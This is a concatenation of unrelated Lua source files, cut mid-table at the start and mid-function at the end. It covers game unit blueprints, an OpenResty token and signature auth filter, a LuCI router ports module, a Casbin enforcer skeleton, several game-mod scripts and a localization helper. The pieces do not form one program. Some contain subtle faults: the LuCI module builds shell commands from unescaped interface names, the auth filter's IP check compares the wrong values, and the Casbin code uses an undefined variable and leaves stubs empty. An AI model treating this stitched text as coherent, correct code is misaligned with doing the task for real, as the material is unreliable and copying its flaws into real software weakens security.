BP_GetSquadBlueprint("jagdpanzer_tank_destroyer_squad_mp"), JAGDTIGER_TD_SQUAD_MP = BP_GetSquadBlueprint("jagdtiger_td_squad_mp"), COMMAND_KING_TIGER_SQUAD_MP = BP_GetSquadBlueprint("command_king_tiger_squad_mp"), KING_TIGER_SQUAD_MP = BP_GetSquadBlueprint("king_tiger_squad_mp"), KUBELWAGEN_SQUAD_MP = BP_GetSquadBlueprint("kubelwagen_squad_mp"), OPEL_BLITZ_SQUAD_MP = BP_GetSquadBlueprint("opel_blitz_squad_mp"), OSTWIND_SQUAD_WESTGERMAN_MP = BP_GetSquadBlueprint("ostwind_squad_westgerman_mp"), PANTHER_AUSF_G_SQUAD_MP = BP_GetSquadBlueprint("panther_ausf_g_squad_mp"), PANTHER_COMMANDER_SQUAD_MP = BP_GetSquadBlueprint("panther_commander_squad_mp"), PANZER_II_LUCHS_SQUAD_DUMMY_MP = BP_GetSquadBlueprint("panzer_ii_luchs_squad_dummy_mp"), PANZER_II_LUCHS_SQUAD_MP = BP_GetSquadBlueprint("panzer_ii_luchs_squad_mp"), PANZER_IV_AUSF_J_BATTLE_GROUP_MP = BP_GetSquadBlueprint("panzer_iv_ausf_j_battle_group_mp"), JU52_PARATROOPER_PLANE = BP_GetSquadBlueprint("ju52_paratrooper_plane"), JU52_PLANE = BP_GetSquadBlueprint("ju52_plane"), ARMORED_CAR_SDKFZ_234_SQUAD_MP = BP_GetSquadBlueprint("armored_car_sdkfz_234_squad_mp"), SCOUT_CAR_SDKFZ221_MP = BP_GetSquadBlueprint("scout_car_sdkfz221_mp"), TACTICAL_BOMBERS_SECTOR_ASSAULT = BP_GetSquadBlueprint("tactical_bombers_sector_assault"), STURMTIGER_SQUAD_MP = BP_GetSquadBlueprint("sturmtiger_squad_mp"), SWS_HALFTRACK_SQUAD_MP = BP_GetSquadBlueprint("sws_halftrack_squad_mp"), SWS_HALFTRACK_SQUAD_SP = BP_GetSquadBlueprint("sws_halftrack_squad_sp"), WEST_GERMAN_TIGER_SQUAD_MP = BP_GetSquadBlueprint("west_german_tiger_squad_mp"), }
local INCREMENT_VALUE = 2 local currentNumber = 0 print(currentNumber) currentNumber += INCREMENT_VALUE print(currentNumber) currentNumber += INCREMENT_VALUE print(currentNumber) currentNumber += INCREMENT_VALUE print(currentNumber) currentNumber += INCREMENT_VALUE print(currentNumber) currentNumber += INCREMENT_VALUE print(currentNumber)
local _M = {} function _M.filter(args,sign) local cjson = require "cjson" local util = require("util") local RedisManager = require("RedisManager") local rurl = ngx.var.url local jsonbody = args.jsonbody local urlStr = args.urlMapStr if urlStr == nil or urlStr == "" then ngx.log(ngx.ERR, "urlStr is null ") ngx.exit(ngx.HTTP_FORBIDDEN) end local urlMap = cjson.decode(urlStr); if urlMap == nil then ngx.exit(ngx.HTTP_FORBIDDEN) end local isAuth = urlMap["isAuth"]; local _userId = '' local token = nil local signature = nil local noncestr = nil local timestamp = nil local userinfo = '' if ngx.ctx.isstatic or isAuth == "0" then else local headers=ngx.req.get_headers() local cookie_auth = headers["cookie_auth"] if cookie_auth == "1" then t = {} local s = "" if ngx.var.http_cookie then s = ngx.var.http_cookie for k, v in string.gmatch(s, "(%w+)=([%w%/%.=_-]+)") do t[k] = v end end token = t["npc_token"] signature = t["npc_signature"] noncestr = t["npc_noncestr"] timestamp = t["npc_timestamp"] else token = headers["npc-token"] signature = headers["npc-signature"] noncestr = headers["npc-noncestr"] timestamp = headers["npc-timestamp"] end local nowtime = ngx.now()*1000 if timestamp == nil or timestamp == "" then timestamp = "0" end local _timestamp = tonumber(timestamp) ngx.log(ngx.ERR, "timestamp is error"..nowtime..' '.._timestamp) if nowtime > _timestamp and nowtime - _timestamp < 60000 then elseif nowtime < _timestamp and _timestamp - nowtime < 60000 then else ngx.log(ngx.ERR, "timestamp is error") ngx.exit(ngx.HTTP_FORBIDDEN) return end if token == nil or token == "" then ngx.log(ngx.ERR, "token is null") ngx.exit(ngx.HTTP_FORBIDDEN) return end local userinfostr = nil userinfostr = RedisManager.runCommand("get", "ts:nlua:user:token:"..token) if userinfostr == nil then ngx.log(ngx.ERR, "userinfostr is null") ngx.exit(ngx.HTTP_FORBIDDEN) return else userinfo = cjson.decode(userinfostr) _userId = userinfo["userId"] end ngx.ctx.user_id = _userId local urlAuth = RedisManager.runCommand("hget", "ts:nlua:user:resource:".._userId,args.url) if urlAuth == nil or urlAuth == '0' then ngx.log(ngx.ERR, "url auth error") ngx.exit(ngx.HTTP_FORBIDDEN) return end local _ip = userinfo["ip"] local ip=headers["X-REAL-IP"] or headers["X_FORWARDED_FOR"] or ngx.var.remote_addr or "0.0.0.0" local _ips = util.string_split(_ip,',') local ip_flag = true for i=1,#_ips do if ip == _ip then ip_flag = false break end end if ip_flag then ngx.log(ngx.ERR, "ip is not same") ngx.exit(ngx.HTTP_FORBIDDEN) return end end if sign == '1' and urlMap['isSign'] == '1' then local str = '' if userinfo["isSign"] == "1" then str = timestamp..cjson.encode(jsonbody)..noncestr else str = timestamp..noncestr end local f = ngx.hmac_sha1(userinfo["tokenSign"],str) local now_f = ngx.encode_base64(f); if now_f == signature then else ngx.log(ngx.ERR, "signature is not same") ngx.exit(ngx.HTTP_FORBIDDEN) return end end local request_method = ngx.var.request_method local userStr = '' local isAddUser = urlMap["isAddUser"]; if isAddUser == "1" then userStr = "USER_UUID=".._userId end args.userStr = userStr; end return _M
local res = ngx.location.capture('/lua/uri_test', { method = ngx.HTTP_POST, args = ngx.encode_args({ a = 1, b = '2&' }), body = ngx.encode_args({ c = 3, d = '4&' }) }) ngx.say(res.body) ngx.log(ngx.ERR, "failed to create timer: ", '232323')
local nonil = require 'without-check-nil' local util = require 'utility' local lang = require 'language' local m = {} function m.client() nonil.enable() local name = m.info.clientInfo.name nonil.disable() return name end function m.init(t) log.debug('Client init', util.dump(t)) m.info = t lang(t.locale) if t.capabilities.workspace.configuration then m.isVSCode = true m.isVS = false else m.isVSCode = false m.isVS = true end end return m
local Class = require("facto.class") local Event = require("facto.event") local Carriage = require("facto.train.carriage") local exchangerFactory = require("facto.exchanger.exchangerfactory").getInstance() --- Cargo wagon implementation. -- @classmod CargoWagon local CargoWagon = Class.extend({}, Carriage) -- @property members -- @property string the type of carriage which is for factory registration. CargoWagon.type = "cargo-wagon" -- @property table table for holds exchangers for the carriage. -- Note: here should be nil, only for property definition. CargoWagon.exchangers = nil -- @metatable members --- Initialization. function CargoWagon:initialize() self.exchangers = {} end --- Build carriage such as room, doors, exchangers. -- @tparam class<CargoWagon> old_carriage -- @tparam table tiles a reference table for caching tiles -- @tparam table lazycalls a reference table for caching closures function CargoWagon:build(old_carriage, tiles, lazycalls) if old_carriage then self:clone(old_carriage) else print("building room") self:buildRoom(tiles, lazycalls) print("building doors") self:buildDoors(tiles, lazycalls) self:buildExchangers(tiles, lazycalls) end end --- Clone carriage from the old. -- @tparam class<CargoWagon> old_carriage function CargoWagon:clone(old_carriage) local restore = function(e) for k, exchanger in pairs(old_carriage.exchangers) do if exchanger.factoobj2 == e.source then self:createExchangerByClone(exchanger, { carriage = self, factoobj2 = e.destination, is_output = exchanger.is_output }) return end end if e.source.name ~= "player-port" then return end local old_doors = old_carriage.doors for k, door in pairs(old_doors) do if door.factoobj == e.source then self:createDoorByClone(door, { factoobj = e.destination, carriage = self }) return end end end Event.on(defines.events.on_entity_cloned, restore) self:cloneArea(old_carriage) Event.remove(defines.events.on_entity_cloned, restore) end --- Build exchangers. -- @tparam table tiles a reference table for caching tiles -- @tparam table lazycalls a reference table for caching closures function CargoWagon:buildExchangers(tiles, lazycalls) local area = self:getBuildingArea() local ltx, lty, rbx, rby = area.left_top.x, area.left_top.y, area.right_bottom.x, area.right_bottom.y local meta = { { props = { is_output = true } , position = { ltx + 3, lty + 1 } }, { props = { is_output = true } , position = { ltx + 4, lty + 1 } }, { props = { is_output = false } , position = { rbx - 5, lty + 1 } }, { props = { is_output = false } , position = { rbx - 4, lty + 1 } }, { props = { is_output = true } , position = { ltx + 3, rby - 2 } }, { props = { is_output = true } , position = { ltx + 4, rby - 2 } }, { props = { is_output = false } , position = { rbx - 5, rby - 2 } }, { props = { is_output = false } , position = { rbx - 4, rby - 2 } } } for _, data in pairs(meta) do data.props.carriage = self self:createExchanger(data.props, data.position, tiles, lazycalls) end end --- Create exchanger. -- @tparam table props exchanger properties -- @tparam LuaPosition position exchanger position -- @tparam table tiles a reference table for caching tiles -- @tparam table lazycalls a reference table for caching closures function CargoWagon:createExchanger(props, position, tiles, lazycalls) local exchanger, addedcall = exchangerFactory:createLazyAdded("cargo-wagon-exchanger", props) exchanger:build(position, tiles, lazycalls, function() self.exchangers[tostring(exchanger:getId())] = exchanger addedcall() end) end --- Clone exchanger from the old surface area. -- @tparam class<CargoWagonExchanger> source_exchanger -- @tparam table props properties of the exchanger function CargoWagon:createExchangerByClone(source_exchanger, props) local exchanger = exchangerFactory:create(source_exchanger.type, props) self.exchangers[tostring(exchanger:getId())] = exchanger self.exchangers[tostring(source_exchanger:getId())] = nil exchangerFactory:remove(source_exchanger) end --- Clear carriage data. function CargoWagon:destroy() CargoWagon.super.destroy(self) for id, exchanger in pairs(self.exchangers) do self.exchangers[id] = nil exchangerFactory:remove(exchanger) exchanger:destroy() end end -- @export return CargoWagon
local EventEmitter = require('event_emitter') local WebSocketInterface = EventEmitter:new() function WebSocketInterface:send(data) self:emit('_send', data) end function WebSocketInterface:_receive(message) self:emit('message', message) end return WebSocketInterface
-- Sets the crafting grid minetest.register_on_joinplayer(function(player) local inv = player:get_inventory() inv:set_width("craft", 2) inv:set_size("craft", 4) end) minetest.register_on_player_receive_fields(function(player, formname, fields) bobutil.move_items_outta(player, "craft") -- move the items out of the player's crafting slot if fields.quit and formname == "bobcraft_blocks:crafting_table" then -- we've had our grid modified local inv = player:get_inventory() inv:set_width("craft", 2) inv:set_size("craft", 4) end end)
local tonumber = tonumber local require = require local sys = require "luci.sys" local uci = require "luci.model.uci" local utl = require "luci.util" local nfs = require "nixio.fs" local io = require "io" local bus = require "ubus" module "luci.model.ports" _uci_real = cursor or _uci_real or uci.cursor() function init(cursor) return _M end function status_eth(self, port, field) local _ubus local _ubuscache = { } _ubus = bus.connect() _ubuscache[port] = _ubus:call("network.device", "status", { name = port }) _ubus:close() if _ubuscache[port] and field then if _ubuscache[port][field] then return "up" else return "down" end end end function status_dsl(self) local fd = io.open("/var/state/layer2_interface", "r") local adsl = 0 local vdsl = 0 if fd then fd:close() vdsl = tonumber(sys.exec("cat /var/state/layer2_interface | grep 'vdsl' | grep -c 'up'")) adsl = tonumber(sys.exec("cat /var/state/layer2_interface | grep 'adsl' | grep -c 'up'")) if vdsl > 0 then return "vdsl" elseif adsl > 0 then return "adsl" end end return "none" end function status_usb(self) local usb = tonumber(sys.exec("[ -d /sys/bus/usb/devices/1-1 ] || [ -d /sys/bus/usb/devices/1-2 ] || [ -d /sys/bus/usb/devices/2-1 ] || [ -d /sys/bus/usb/devices/2-2 ] && echo 1")) return usb end function port_type(self, port) return sys.exec(". /lib/network/config.sh && interfacename %s" %port) end function port_speed(self, port) local speed = sys.exec("ethctl %s media-type 2>&1 | sed '$ d' | tr -d '\n'" %port) return speed end function eth_type(self, port) local wan = sys.exec("uci get layer2_interface_ethernet.Wan.baseifname") if wan:match(port) then return "wan" else return "" end end function Wname (self, ifname) local wanif = ifname if ifname:match("br-") then for vif in utl.execi("uci get network.%s.ifname | tr ' ' '\n'" %ifname:sub(4)) do if vif:match("^atm%d.1$") or vif:match("^ptm%d.1$") or vif:match("^eth%d.1$") then local path = "/sys/devices/virtual/net/%s/statistics/rx_packets" %vif if nfs.access(path) and tonumber(sys.exec("cat %s" %path)) > 0 then wanif = vif break end end end elseif ifname:match("pppo") then local _ubus local _ubuscache = { } local newif if ifname:match("pppo") then newif = ifname:sub(7) else newif = ifname:sub(5) end _ubus = bus.connect() _ubuscache[newif] = _ubus:call("network.interface", "status", { interface = newif }) _ubus:close() if _ubuscache[newif] then wanif = _ubuscache[newif]["device"] else wanif = "" end end return wanif end function l2name (self, ifname) local l2name = "" if ifname:match("^atm%d.1$") then _uci_real:foreach("layer2_interface_adsl", "atm_bridge", function(s) if ifname == s.ifname then l2name = s.name end end) elseif ifname:match("^ptm%d.1$") then _uci_real:foreach("layer2_interface_vdsl", "vdsl_interface", function(s) if ifname == s.ifname then l2name = s.name end end) elseif ifname:match("^eth%d.1$") then _uci_real:foreach("layer2_interface_ethernet", "ethernet_interface", function(s) if ifname == s.ifname then l2name = s.name end end) elseif ifname:match("^wwan%d") then l2name = "WWAN" elseif ifname:match("^wl%d") then l2name = sys.exec("wlctl -i %q ssid | awk '{print$3}' | sed 's/\"//g'" %ifname) elseif ifname:match("br-") or ifname:match("pppo") then local vif = self:Wname(ifname) if vif:match("^atm%d.1$") then _uci_real:foreach("layer2_interface_adsl", "atm_bridge", function(s) if vif == s.ifname then l2name = s.name end end) elseif vif:match("^ptm%d.1$") then _uci_real:foreach("layer2_interface_vdsl", "vdsl_interface", function(s) if vif == s.ifname then l2name = s.name end end) elseif vif:match("^eth%d.1$") then _uci_real:foreach("layer2_interface_ethernet", "ethernet_interface", function(s) if vif == s.ifname then l2name = s.name end end) end end return l2name end function dslrate(self) -- DSL Rate local xdsl = sys.exec("xdslctl info --stats") local rv = { } rv = { down = xdsl:match("Bearer:%s+%d+%S+%s+%S+%s+%S+%s+%S+%s+%d+%s+%S+%s+Downstream rate = (%d+)%s+%S+") or 0, up = xdsl:match("Bearer:%s+%d+%S+%s+Upstream rate = (%d+)%s+") or 0 } return rv end
local root = getRootElement() function import ( resource, cmd, resourceString ) if type(resource) == "string" then resource = getResourceFromName(resource) end if type(resourceString) == "string" then resource = getResourceFromName(resourceString) end if not resource then outputDebugString("editor: Bad argument to 'import'",0,255,255,255) return false end local rootElement if isElement(resource) then rootElement = resource else for k,v in pairs(getResources()) do if v == resource then rootElement = getResourceRootElement(resource) break end end end if not rootElement then return false end for creatorResource, dataTable in pairs(loadedEDF) do for elementType in pairs(dataTable.elements) do for i,element in ipairs(getElementsByType(elementType,rootElement)) do triggerEvent( "doCloneElement", element, false, creatorResource) end end end return true end addCommandHandler("import",import)
local Coroutines = {} Coroutines.__index = Coroutines function create() local coro = coroutine.create(function() local i = 0 while true do i = i + 1 coroutine.yield(i) end end) local test = { coro = coro } setmetatable(test, Coroutines) return test end function Coroutines:draw() local status, v = coroutine.resume(self.coro) if v then love.graphics.print(v, 100, 100) end end function Coroutines:cleanup() end return create
Sprint = RaceGamemode:subclass "Sprint" function Sprint:init(...) self.super:init(...) end function Sprint:raceFinished(timeout) if timeout then for _, player in ipairs(self.race:getPlayers()) do self:playerFinished(player, timeout) end end end function Sprint:playerFinished(player, timeout) if not self.super:playerFinished(player, timeout) then return false end local rank = #self:getFinishedPlayers() local timePassed = self:getTimePassed() if timeout then rank = false timePassed = self.race.settings.duration * 1000 end triggerEvent("RaceLobby.playerFinished", self.race.element, player, timePassed, rank) end
----------------------------------------------------------------------------- -- Localization (l10n) for the Lua language. -- Author: Fernando Paredes Garcia ([email protected]) ----------------------------------------------------------------------------- -- Storage for all available translations on runtime local db = {} local target_lang -- language to translate to local function set_lang(lang) target_lang = lang end local function set_source_lang(lang) source_lang = lang end local function translate(str, ...) if nil == target_lang then io.stderr:write "WARNING: l10n: target language not set. Example: l10n.set_lang 'es'\n" end if [[string]] ~= type(str) then error [[l10n: Not a valid string provided!]] end if nil == db[str] then io.stderr:write(("WARNING: Trying to translate an unknown string: '%s'\n"):format(str)) end local target if target_lang == source_lang then target = str -- Pass source string when no target available else target = (db[str] or {})[target_lang] if nil == target then target = str io.stderr:write(("WARNING: No '%s' translation available for '%s'\n"):format(target_lang or [[]], str)) end end local params = {...} return nil ~= next(params) and target:format(...) or target end local function add(params) if [[table]] == type(params) and [[string]] == type(params[1]) then local source = params[1] params[1] = nil for lang, target in pairs(params) do db[source] = {[lang] = target} end else error [[l10n: Invalid input!]] end end return { add = add, db = db, set_lang = set_lang, set_source_lang = set_source_lang, translate = translate, }
local util = require 'xlua.util' local yield_return = (require 'xlua.cs_coroutine').yield_return local BREAKINFOFUNC, XPCALLFUNC = require("LuaDebug")("localhost", 7003) local co = coroutine.create( function() while true do yield_return(CS.UnityEngine.WaitForSeconds(0.1)) BREAKINFOFUNC() end end) coroutine.resume(co) Main = {} function Main.Awake(gameObject) print("Main.Awake") end function Main.Start() print("Main.Start") end function Main.Update() local a = 1 end function Main.OnDestroy() print("Main.OnDestroy") end
--Copyright 2021 The casbin Authors. All Rights Reserved. -- --Licensed under the Apache License, Version 2.0 (the "License"); --you may not use this file except in compliance with the License. --You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- --Unless required by applicable law or agreed to in writing, software --distributed under the License is distributed on an "AS IS" BASIS, --WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. --See the License for the specific language governing permissions and --limitations under the License. CoreEnforcer = { model_path, model, fm, adapter, watcher, rm, dispatcher, autoSave, autoBuildRoleLinks, autoNotifyWatcher = true, autoNotifyDispatcher = true, aviatorEval, -- cached instance of AviatorEvaluatorInstance modelModCount, -- detect changes in Model so that we can invalidate AviatorEvaluatorInstance cache } --[[ private: Effector eft boolean enabled ]] local function initialize() end --[[ * newModel creates a model. * * @param text the model text. * @return the model. ]] function CoreEnforcer:newModel(text) m = Model:Model() if text~=nil then m.loadModelFromText(text); end return m end --[[ * newModelFromPath creates a model. * * @param modelPath the path of the model file. * @param unused unused parameter, just for differentiating with * newModel(String text). * @return the model. ]] function CoreEnforcer:newModelFromPath(modelPath, unused) m = Model:Model() if modelPath~='' then m.loadModel(text); end return m end --[[ * loadModel reloads the model from the model CONF file. * Because the policy is attached to a model, so the policy is invalidated * and needs to be reloaded by calling LoadPolicy(). ]] function CoreEnforcer:loadModel() model = self:newModel() model:loadModel(self.modelPath) model:printModel() self.fm = FunctionMap:loadFunctionMap(); self.aviatorEval = nil end --[[ * getModel gets the current model. * * @return the model of the enforcer. ]] function CoreEnforcer:getModel() return self.model end --[[ * setModel sets the current model. * * @param model the model. ]] function CoreEnforcer:setModel(model) self.model = model self.fm = FunctionMap:loadFunctionMap(); self.aviatorEval = nil end --[[ * getAdapter gets the current adapter. * * @return the adapter of the enforcer. ]] function CoreEnforcer:getAdapter() return self.adapter end --[[ * setAdapter sets the current adapter. * * @param adapter the adapter. ]] function CoreEnforcer:setAdapter(adapter) self.adapter = adapter end --[[ * setWatcher sets the current watcher. * * @param watcher the watcher. ]] function CoreEnforcer:setWatcher(watcher) self.watcher = watcher watcher:setUpdateCallback(loadPolicy()) end --[[ * setDispatcher sets the current dispatcher. * * @param dispatcher jCasbin dispatcher ]] function CoreEnforcer:setDispatcher(dispatcher) self.dispatcher = dispatcher end --[[ * SetRoleManager sets the current role manager. * * @param rm the role manager. ]] function CoreEnforcer:setRoleManager(rm) self.rm = rm end --[[ * setEffector sets the current effector. * * @param eft the effector. ]] function CoreEnforcer:setEffector(eft) self.eft = eft end --[[ * clearPolicy clears all policy. ]] function CoreEnforcer:clearPolicy() self.model:clearPolicy() end --[[ * loadPolicy reloads the policy from file/database. ]] function CoreEnforcer:loadPolicy() self.model:clearPolicy() self.adapter:loadPolicy(model); self.model:printPolicy() if autoBuildRoleLinks then buildRoleLinks() end end --[[ * loadFilteredPolicy reloads a filtered policy from file/database. * * @param filter the filter used to specify which type of policy should be loaded. ]] function CoreEnforcer:loadFilteredPolicy(filter) end --[[ * isFiltered returns true if the loaded policy has been filtered. * * @return if the loaded policy has been filtered. ]] function CoreEnforcer:isFiltered() end --[[ * savePolicy saves the current policy (usually after changed with * Casbin API) back to file/database. ]] function CoreEnforcer:savePolicy() end --[[ * enableEnforce changes the enforcing state of Casbin, when Casbin is * disabled, all access will be allowed by the enforce() function. * * @param enable whether to enable the enforcer. ]] function CoreEnforcer:enableEnforce(enable) self.enable = enable end --[[ * enableLog changes whether to print Casbin log to the standard output. * * @param enable whether to enable Casbin's log. ]] function CoreEnforcer:enableLog(enable) end --[[ * enableAutoSave controls whether to save a policy rule automatically to * the adapter when it is added or removed. * * @param autoSave whether to enable the AutoSave feature. ]] function CoreEnforcer:enableAutoSave(autoSave) self.autoSave = autoSave end --[[ * enableAutoBuildRoleLinks controls whether to save a policy rule * automatically to the adapter when it is added or removed. * * @param autoBuildRoleLinks whether to automatically build the role links. ]] function CoreEnforcer:enableAutoBuildRoleLinks(autoBuildRoleLinks) self.autoBuildRoleLinks = autoBuildRoleLinks end --[[ * buildRoleLinks manually rebuild the * role inheritance relations. ]] function CoreEnforcer:buildRoleLinks() self.rm.clear() self.model.buildRoleLinks(rm) end --[[ * enforce decides whether a "subject" can access a "object" with * the operation "action", input parameters are usually: (sub, obj, act). * * @param rvals the request needs to be mediated, usually an array * of strings, can be class instances if ABAC is used. * @return whether to allow the request. ]] function CoreEnforcer:enforce(...) end function CoreEnforcer:getRTokens(parameters, ...) end function CoreEnforcer:validateEnforce(...) end function CoreEnforcer:validateEnforceSection(section, ...) end --[[ * Invalidate cache of compiled model matcher expression. This is done automatically most of the time, but you may * need to call it explicitly if you manipulate directly Model. ]] function CoreEnforcer:resetExpressionEvaluator() self.aviatorEval = null end function CoreEnforcer:isAutoNotifyWatcher() return self.autoNotifyWatcher end function CoreEnforcer:setAutoNotifyWatcher() self.autoNotifyWatcher = autoNotifyWatcher end function CoreEnforcer:isAutoNotifyDispatcher() return self.autoNotifyDispatcher end function CoreEnforcer:setAutoNotifyDispatcher(autoNotifyDispatcher) self.autoNotifyDispatcher = autoNotifyDispatcher end return CoreEnforcer
return Def.ActorFrame{ Def.Sprite{ Texture="roulette 1x4.png", InitCommand=function(self) self:SetAllStateDelays(0.1) end, SetMessageCommand=function(self,params) if params.HasFocus then self:x(2); self:y(-6.4); else self:x(0); self:y(-6.4) end; end; }; };
local md local reminderLastSentWhen = {} local Plugin = {} function Plugin:SendVoicecommReminder(sourceClient, targetPlayer) if targetPlayer ~= nil then local targetClient = TGNS.GetClient(targetPlayer) local sourcePlayer = TGNS.GetPlayer(sourceClient) if Shared.GetTime() - (reminderLastSentWhen[targetClient] or 0) > 5 then local targetPlayerTeamNumber = TGNS.GetPlayerTeamNumber(targetPlayer) local firstMessage = string.format("%s: %s, respond to voicecomm (mic optional).", TGNS.GetClientName(sourceClient), TGNS.GetPlayerName(targetPlayer)) local secondMessage = "This server requires teamplay. Need chat? Keybind: y" local messageTargetDisplayer = function(player, message) md:ToPlayerNotifyColors(player, message, 240, 230, 130, 255, 0, 0) end TGNS.DoFor(TGNS.GetPlayers(TGNS.GetTeamClients(targetPlayerTeamNumber)), function(p) if p == targetPlayer then messageTargetDisplayer(p, firstMessage) messageTargetDisplayer(p, secondMessage) else md:ToPlayerNotifyInfo(p, firstMessage) md:ToPlayerNotifyInfo(p, secondMessage) local c = TGNS.GetClient(p) local reminderAction reminderAction = function() if Shine:IsValidClient(sourceClient) and Shine:IsValidClient(targetClient) and Shine:IsValidClient(c) and TGNS.ClientsAreTeammates(sourceClient, targetClient) and TGNS.ClientsAreTeammates(sourceClient, c) and not Shine.Plugins.scoreboard:IsVouched(targetClient) then local tp = TGNS.GetPlayer(targetClient) md:ToPlayerNotifyYellow(TGNS.GetPlayer(c), string.format("%s: Vouch %s (^) or chat: !vrkick %s", TGNS.GetClientName(sourceClient), TGNS.GetPlayerName(tp), TGNS.GetPlayerGameId(tp), TGNS.GetPlayerGameId(tp))) TGNS.ScheduleAction(30, reminderAction) end end TGNS.ScheduleAction(22, reminderAction) end end) reminderLastSentWhen[targetClient] = Shared.GetTime() else md:ToPlayerNotifyError(sourcePlayer, string.format("%s was too recently shown a voicecomm reminder by another player.", TGNS.GetPlayerName(targetPlayer))) end end end function Plugin:CreateCommands() local remindercommand = self:BindCommand( "sh_vr", "vr", function(client, playerPredicate) local player = TGNS.GetPlayer(client) if playerPredicate == nil or playerPredicate == "" then md:ToPlayerNotifyError(player, "You must specify a player.") else local targetPlayer = TGNS.GetPlayerMatching(playerPredicate, nil) if targetPlayer ~= nil then self:SendVoicecommReminder(client, targetPlayer) else md:ToPlayerNotifyError(player, string.format("'%s' does not uniquely match a player.", playerPredicate)) end end end, true) remindercommand:AddParam{ Type = "string", TakeRestOfLine = true, Optional = true } remindercommand:Help( "<player> Remind player of requirement to respond to voicecomm." ) local removeCommand = self:BindCommand( "sh_vrkick", "vrkick", function(client, playerPredicate) local player = TGNS.GetPlayer(client) if playerPredicate == nil or playerPredicate == "" then md:ToPlayerNotifyError(player, "You must specify a player.") else local targetPlayer = TGNS.GetPlayerMatching(playerPredicate, nil) if targetPlayer ~= nil then if TGNS.IsPlayerStranger(targetPlayer) or TGNS.IsClientAdmin(client) then local targetClient = TGNS.GetClient(targetPlayer) if Shared.GetTime() - (reminderLastSentWhen[targetClient] or 0) < 40 then local targetClientName = TGNS.GetClientName(targetClient) local targetClientTeamNumber = TGNS.GetClientTeamNumber(targetClient) TGNSClientKicker.Kick(targetClient, "Cannot hear voicecomm. Reconnect and respond to voicecomm (mic optional).", nil, nil, true) TGNS.DoFor(TGNS.GetClientList(function(c) return TGNS.GetClientTeamNumber(c) == targetClientTeamNumber or TGNS.IsClientAdmin(c) end), function(c) md:ToPlayerNotifyInfo(TGNS.GetPlayer(c), string.format("%s sh_vrkick -> %s. Details in console.", TGNS.GetClientName(client), targetClientName)) md:ToClientConsole(c, string.format("%s executed sh_vrkick against %s after they didn't respond to voicecomm.", TGNS.GetClientName(client), targetClientName)) md:ToClientConsole(c, string.format("If this was sh_vrkick abuse, click %s on the scoreboard and choose 'Admin Feedback'.", TGNS.GetClientName(client))) end) local targetSteamId = TGNS.GetClientSteamId(targetClient) TGNS.ScheduleAction(300, function() if Shine:IsValidClient(client) then if TGNS.GetPlayerMatchingSteamId(targetSteamId) == nil then TGNS.Karma(client, "DeafRemoval") end end end) else md:ToPlayerNotifyError(player, string.format("You have not shown %s the voicecomm reminder in the last 30 seconds.", TGNS.GetClientName(targetClient))) end else md:ToPlayerNotifyError(player, string.format("%s is not a Stranger.", TGNS.GetPlayerName(targetPlayer))) end else md:ToPlayerNotifyError(player, string.format("'%s' does not uniquely match a player.", playerPredicate)) end end end) removeCommand:AddParam{ Type = "string", TakeRestOfLine = true, Optional = true } removeCommand:Help( "<player> Remove player who cannot hear voicecomm." ) end function Plugin:Initialise() self.Enabled = true md = TGNSMessageDisplayer.Create() self:CreateCommands() return true end function Plugin:Cleanup() --Cleanup your extra stuff like timers, data etc. self.BaseClass.Cleanup( self ) end Shine:RegisterExtension("voicecommreminder", Plugin )
AddCSLuaFile() ENT.Type = "anim" ENT.Base = "base_gmodentity" ENT.PrintName = "ZigPrint Base" ENT.Category = "ZigPrint" ENT.Spawnable = true ENT.Model = "models/props_c17/consolebox01a.mdl" ENT.Print = ENT.Print or {} ENT.Print.Max = ENT.Print.Max or {} ENT.Display = ENT.Display or {} ENT.Print.Amount = ENT.Print.Amount or 250 ENT.Print.Time = ENT.Print.Time or 60 ENT.Print.Max.Ink = ENT.Print.Max.Ink or 10 ENT.Print.Max.Batteries = ENT.Print.Max.Ink or 10 ENT.Display.Background = ENT.Display.Background or Color(255, 100, 100) ENT.Display.Border = ENT.Display.Border or Color(255, 0, 0) ENT.Display.Text = ENT.Display.Text or Color(255, 255, 255) function ENT:Initialize() self:SetModel(self.Model) self:SetMoveType(MOVETYPE_VPHYSICS) self:SetSolid(SOLID_VPHYSICS) if SERVER then self:PhysicsInit(SOLID_VPHYSICS) self:SetUseType(SIMPLE_USE) end local phys = self:GetPhysicsObject() if IsValid(phys) then phys:Wake() end self:SetStoredMoney(0) self:SetPrintingProgress(0) self:SetInk(0) self:SetBatteries(0) end function ENT:SetupDataTables() self:NetworkVar("Int", 0, "StoredMoney") self:NetworkVar("Int", 1, "PrintingProgress") self:NetworkVar("Int", 2, "Ink") self:NetworkVar("Int", 3, "Batteries") end function ENT:StartSound() self.Noise = CreateSound(self, Sound("ambient/levels/labs/equipment_printer_loop1.wav")) self.Noise:SetSoundLevel(50) self.Noise:PlayEx(1, 50) end function ENT:CanPrint() return (self:GetInk() > 0) and (self:GetBatteries() > 0) end function ENT:OnRemove() if self.Noise then self.Noise:Stop() end end function ENT:PrinterError() if (self:GetInk() < 1) then return "No ink" end if (self:GetBatteries() < 1) then return "No battery" end return false end if SERVER then function ENT:StartTouch(ent) if IsValid(ent) then if (ent:GetClass() == "zig_ink") and (self:GetInk() < self.Print.Max.Ink) then SafeRemoveEntity(ent) self:SetInk(math.Clamp(self:GetInk() + 1, 0, self.Print.Max.Ink)) self:EmitSound("ambient/water/drip" .. math.random(1, 4) .. ".wav") end if (ent:GetClass() == "zig_battery") and (self:GetBatteries() < self.Print.Max.Batteries) then SafeRemoveEntity(ent) self:SetBatteries(math.Clamp(self:GetBatteries() + 1, 0, self.Print.Max.Batteries)) self:EmitSound("items/battery_pickup.wav") end end end function ENT:Think() if self:CanPrint() then self.RealPrintTime = self.Print.Time - (5 * self:GetBatteries()) self.RealPrintAmount = self.Print.Amount + (10 * self:GetInk()) if (self.RealPrintTime < 1) then self.RealPrintTime = 1 end if self:CanPrint() then self:SetPrintingProgress(math.Clamp(self:GetPrintingProgress() + 1, 0, self.RealPrintTime)) self:StartSound() end if (self:GetPrintingProgress() == self.RealPrintTime) then self:SetPrintingProgress(0) self:SetStoredMoney(math.Clamp(self:GetStoredMoney() + self.RealPrintAmount, 0, 2000000000)) end end self:NextThink(CurTime() + 1) return true end function ENT:Use(activator, caller) if IsValid(caller) and caller:IsPlayer() and self:GetStoredMoney() > 0 then caller:addMoney(self:GetStoredMoney()) self:SetStoredMoney(0) end end end if CLIENT then function ENT:Draw() self:DrawModel() local Pos = 